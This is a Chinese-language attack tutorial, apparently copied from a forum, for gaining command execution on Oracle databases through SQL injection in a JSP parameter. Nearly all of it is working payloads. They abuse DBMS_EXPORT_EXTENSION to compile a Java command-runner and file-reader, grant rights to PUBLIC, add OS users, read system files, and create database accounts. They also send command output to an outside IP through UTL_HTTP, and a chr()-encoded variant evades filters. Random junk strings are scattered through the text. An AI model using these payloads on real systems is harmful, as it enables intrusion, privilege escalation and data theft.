以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
: v# F& Q- w/ A
% x( J$ i7 z' G" W: a% { /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) : @: `/ u2 T" v8 {5 A& r
的形式即可。(用" 'a'|| "是为了让语句返回true值) " ]3 X0 g; c8 t0 l5 a
语句有点长,可能要用post提交。 3 y \% x& L" u
以下是各个步骤:
" S. w! a! v& g' \1 e1.创建包 , N8 r' B" ?, C& s8 u. l3 n W9 `& f
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
; x& B- f# z8 D3 C3 ?/xxx.jsp?id=1 and '1'<>'a'||( 7 e0 R. U" D9 H: x4 F* ?- ~
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- Q" B$ {. V8 z+ z: S% x) S. Tcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(+ S. Z' o9 s8 ?2 q
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
7 g! n9 P. U6 F5 Y5 v}'''';END;'';END;--','SYS',0,'1',0) from dual
* j2 F" W. l/ u% K L' x& h% F)
$ x# c0 V: \: D/ Y8 C) r& T------------------------ # ~: ]8 A0 P1 u
如果url有长度限制,可以把readFile()函数块去掉,即:
- q; E) ]% [% c6 W& T1 j/xxx.jsp?id=1 and '1'<>'a'||(
* Y6 V/ l# t1 j' Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 Q: z& n: @( h6 z8 |! v2 V7 ycreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
2 Z8 B- k; h1 H3 c; dnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}% v! E9 ^; U/ B' T3 b+ B; [: D
}'''';END;'';END;--','SYS',0,'1',0) from dual ! [- k" E# C6 ?6 h) _8 s
) - a) E, _0 G1 p# D, d( F( y
同时把后面步骤 提到的 对readFile()的处理语句去掉。 6 C" z W, ^& B0 N0 q
------------------------------
4 n$ @' [( S: p* Z0 Z2.赋Java权限
4 I: o: V* X0 B6 tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
8 M2 M: O$ ?: `- r9 Y8 F( D/ f, U3.创建函数
- X1 q! H& p, P, p" Gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; }6 l1 V# x2 q3 p3 t! w/ wcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
; f1 L& P# F! x9 e c! Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ n% l" d+ m5 N$ `9 c3 x- O+ fcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual3 u/ D' @3 |; E, q/ c- r: O
4.赋public执行函数的权限
) \; X3 O+ |) z' h$ n5 Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual+ @! `! g. L8 L2 K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual2 @+ G! b5 y+ y) i4 I* K
5.测试上面的几步是否成功
% n$ R/ N g* ~( R# wand '1'<>'11'||( 8 U& I- _, d: K6 |# t8 E7 w
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 4 m6 c& z0 ^$ r# P, w. W- V9 ]; _
)
+ U4 Z0 u& b3 [and '1'<>(
6 \9 O* W0 r9 m9 x1 H4 Jselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
1 T- ~% W6 e; a" K) f) % A7 T- Z- e% F. [2 e' W; B
6.执行命令: # ]4 b9 `+ [3 y* {/ F3 u
/xxx.jsp?id=1 and '1'<>( * X9 X- g, v1 Y4 m
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
* d4 n7 w6 M7 ?% E) U. k1 d9 _1 G' e# U' V; W. q
) & f* [5 g( {9 b
/xxx.jsp?id=1 and '1'<>(
: p6 @0 ?& c( d- f6 k, w, Z: jselect sys.LinxReadFile('c:/boot.ini') from dual
: {/ b" D2 Q/ P' X9 U
5 l' C4 T- \: d3 N# H# N4 |1 H9 @)* C+ H5 c4 X( W- V+ L$ n
5 I9 p5 V$ W2 A1 S8 D5 \注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 ; z& I' C, a9 J
如果要查看运行结果可以用 union :
6 T" y/ V# F' V6 |" C* Z1 Y# N/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual+ m8 u; A* Q! w3 y$ V% O1 V V' T# L
或者UTL_HTTP.request(: 9 e; R& n0 m! U, y' D! y
/xxx.jsp?id=1 and '1'<>(
3 v3 L& R3 \ f' rSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual1 g: P% r% W3 {& f: t7 G- G! \
) , `" ?) Q+ M$ C. [. X' z
/xxx.jsp?id=1 and '1'<>( 2 ]& F1 W. q8 `6 j
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual* G! _6 y/ u8 M; l. x
)
4 i6 t+ F5 f& K+ s注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
5 y d7 w% P( k+ C. ]--------------------
% t: a% l' w0 m6.内部变化 0 G y) M% U0 W1 t" y
通过以下命令可以查看all_objects表达改变: 6 {# z" z4 k3 o! i: G
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'8 v, G; S/ w8 d" {! @
7.删除我们创建的函数 , r# ^' r6 u1 `( G9 Z2 z! F" `+ k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 T7 ^1 t( M+ `5 X
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual 9 g1 f: B g, e
====================================================
; B" A/ z$ Q/ V$ [! q( H8 }; V" r全文结束。谨以此文赠与我的朋友。 3 \1 @3 G5 k7 u) H
linx
a, d( x; H8 o124829445
+ y2 X( {# q. z9 P p0 x. `' T! S2008.1.12
) Q: C3 A$ n+ A# Olinyujian@bjfu.edu.cn
9 }1 |) \& X+ o4 ?; E8 p) a======================================================================
0 W" {# l: l) N! X* U$ z) V测试漏洞的另一方法:
' ]5 J7 r) ~) Q* S& n2 f: J创建oracle帐号: 5 R z# x$ H8 ~5 w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" D/ C2 a3 c* U& y$ iCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
0 b N0 ]6 K7 @+ P Z即: & I+ m& c& G6 O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),; b1 ]- H1 I/ D$ ]
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
: e3 C# Y5 P% w) r4 U2 N9 }确定漏洞存在: $ r1 E( C$ O" ]4 Q0 h$ `( L
1<>( 4 Q. t3 [# d% E$ w ?1 G" o
select user_id from all_users where username='LINXSQL' ) ]3 k! I% _5 Y" f
)
4 s% r, T- G8 g* a8 C给linxsql连接权限: ' t' z3 a2 z7 G' I# Y, U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 B! j! C4 ?" m( T+ r, [GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual * d! m6 ]* I% s% G1 [
删除帐号: 2 }# i9 s# I! @: D/ P
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" a( T: p0 K4 o9 `
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
7 M; I6 v. K/ U. Q) n! y- }7 H======================
2 d6 ?1 Z* x+ `7 M' `# j3 S以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:8 g" ]2 d* [$ _5 `
1.jsp?id=1 and '1'<>(
5 Q7 {- i0 S0 [# G: ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 I' f* d# ~; h& ?) Mcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
1 c, u0 E9 P& E, d) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
8 S3 n" f. H2 b2 @% X% h" J- {4 R )( z2 Q( |$ k0 c
6 x- m$ V$ X$ Y
4 ^5 Q/ S7 r$ P" l: k5 i% F' Y! N' d* a
|